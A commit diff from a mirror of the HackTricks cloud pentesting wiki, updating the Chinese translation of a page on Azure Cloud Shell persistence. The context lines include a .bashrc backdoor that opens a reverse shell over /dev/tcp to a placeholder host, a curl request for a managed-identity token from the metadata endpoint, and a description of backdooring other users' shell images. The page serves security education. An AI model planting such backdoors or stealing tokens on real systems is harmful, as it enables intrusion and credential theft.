mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -7,7 +7,7 @@
|
||||
Azure Cloud Shell 提供命令行访问以管理 Azure 资源,具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点:
|
||||
|
||||
* **Persistent Storage**: Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束后也保持不变。
|
||||
* **Startup Scripts**: 像 `.bashrc` 或 `config/PowerShell/Microsoft.PowerShell_profile.ps1` 这样的文件在每个会话开始时自动执行,从而允许在云 shell 启动时进行持久执行。
|
||||
* **Startup Scripts**: 像 `.bashrc` 或 `config/PowerShell/Microsoft.PowerShell_profile.ps1` 的文件在每个会话开始时自动执行,从而在云 shell 启动时允许持久执行。
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
```bash
|
||||
@@ -19,7 +19,7 @@ echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CC
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
### Cloud Shell Phishing
|
||||
### Cloud Shell 钓鱼
|
||||
|
||||
如果攻击者在他有读写权限的存储帐户中找到其他用户的镜像,他将能够下载该镜像,**在其中添加一个 bash 和 PS 后门**,并将其上传回存储帐户,以便下次用户访问 shell 时,**命令将被自动执行**。
|
||||
|
||||
|
||||
Reference in New Issue
Block a user